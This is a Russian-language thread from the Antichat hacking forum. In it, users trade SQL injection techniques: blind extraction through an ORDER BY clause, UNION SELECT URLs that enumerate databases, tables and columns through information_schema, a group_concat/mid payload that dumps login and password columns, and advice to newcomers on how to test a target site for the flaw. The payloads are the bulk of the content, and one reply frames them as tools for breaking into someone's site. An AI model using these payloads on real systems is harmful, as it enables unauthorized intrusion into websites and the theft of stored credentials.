Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

17.05.2010, 08:25
|
|
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме: 94171
Репутация:
3
|
|
Сообщение от Dr.Z3r0
3.6 Иньекция в операторе ORDER BY
Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за истину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=112,1,-1))
Чтож вывелся обратный порядок новостей => ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
Опять ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=114,1,-1))
О! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
Я правильно понимаю, что в данном случае ничего кроме глобальных переменных вроде USER достать нельзя? Т.е. вытащить что-то из базы не возможно?
P.S.
В статье опячатка:
(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
должно быть
(id*IF(ASCII(SUBSTRING(USER(), 1,1))=113,1,-1))
Последний раз редактировалось [R]eD; 17.05.2010 в 08:27..
|
|
|

17.05.2010, 10:54
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Сообщение от [R]eD
Я правильно понимаю, что в данном случае ничего кроме глобальных переменных вроде USER достать нельзя? Т.е. вытащить что-то из базы не возможно?
Можно всё, на что есть права.
|
|
|

17.05.2010, 11:13
|
|
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме: 94171
Репутация:
3
|
|
Сообщение от Ctacok
Можно всё, на что есть права.
Можно пример запроса с SELECT'ом? 
|
|
|

17.05.2010, 15:56
|
|
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
Провел на форуме: 7144817
Репутация:
1503
|
|
Сообщение от [R]eD
Можно пример запроса с SELECT'ом? 
пример с селектом тут - Тыц
З.Ы. Хватит засирать статьи!
__________________
You may say I'm a dreamer
But I'm not the only one
|
|
|

22.05.2010, 06:09
|
|
Новичок
Регистрация: 28.10.2008
Сообщений: 14
Провел на форуме: 92208
Репутация:
6
|
|
Сообщение от Pashkela
Выложу и сюда, заманали уже просто с такими вопросами:
Узнаем все БД:
http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(schema_name),3,4,5, 6,7,8,9,10+from+information_schema.schemata--
Узнаем таблицы из нужной БД:
http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(table_name),3,4,5,6 ,7,8,9,10+from+information_schema.tables+where+tab le_schema='ИМЯ_БД'--
Узнаем колонки из нужной таблицы из нужной БД:
http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(column_name),3,4,5, 6,7,8,9,10+from+information_schema.columns+where+t able_name='ИМЯ_ТАБЛИЦЫ'+and+table_schema ='ИМЯ_БД'--
Узнаем данные из нужной таблицы из нужной БД:
http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(ИМЯ_КОЛОНК И),3,4,5,6,7,8,9,10+from+ИМЯ_БД.ИМЯ_ТА ЛИЦЫ--
PS: или убрать group_concat и юзать как обычно:
limit+0,1
limit+1,1
......
если было чото такое - удалите плз, поиском по сайту в FAQ-ах вроде нет, а спрашивают часто
Такое маленькое дополнение) group_concat имеет ограничение выводимости данных в 1024 + limit он не поддерживает, что бы обойти его нужно использовать mid
К примеру вот так:
587955+union+select+1,2,3,4,5,mid(group_concat(log in,char(38),password),600,1024),7,8,9,10,11+from+ аза.Таблица--
Последний раз редактировалось CTAPu4OK; 22.05.2010 в 06:12..
|
|
|

12.06.2010, 11:48
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 3
Провел на форуме: 17852
Репутация:
0
|
|
я прочитал вроде понял)) но не понял одного ))) как её найти? что надо писать и где? и как? помогите бо реально туп !
|
|
|

16.06.2010, 09:31
|
|
Новичок
Регистрация: 30.05.2010
Сообщений: 25
Провел на форуме: 67694
Репутация:
5
|
|
Сообщение от KizZz
я прочитал вроде понял)) но не понял одного ))) как её найти? что надо писать и где? и как? помогите бо реально туп !
Допустим, ты ломаешь сайт qwerty.ru. Попал ты на страницу qwerty.ru/news.php?id=123. И чтобы проверить есть ли уязвимость, нужно подставить к значению id какой нибудь левый символ, например, кавычку: qwerty.ru/news.php?id=123'. Можно еще попробовать так: qwerty.ru/news.php?id=124-1. Как известно, 124-1=123  Если информация при таком URL выводится та же самая, что и при id=123, то практически наверняка уязвимость имеет место быть.
Последний раз редактировалось Boa; 16.06.2010 в 09:36..
|
|
|

16.06.2010, 13:32
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
Сообщение от Boa
Допустим, ты ломаешь сайт qwerty.ru. Попал ты на страницу qwerty.ru/news.php?id=123. И чтобы проверить есть ли уязвимость, нужно подставить к значению id какой нибудь левый символ, например, кавычку: qwerty.ru/news.php?id=123'. Можно еще попробовать так: qwerty.ru/news.php?id=124-1. Как известно, 124-1=123  Если информация при таком URL выводится та же самая, что и при id=123, то практически наверняка уязвимость имеет место быть.
Глупости. Нe лeвый символ, a тот, которъй может вызвать синтaксичeскую ошибку в зaпросe.
|
|
|

16.06.2010, 17:46
|
|
Новичок
Регистрация: 30.05.2010
Сообщений: 25
Провел на форуме: 67694
Репутация:
5
|
|
Ins3t, я именно такие символы и обозвал левыми)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|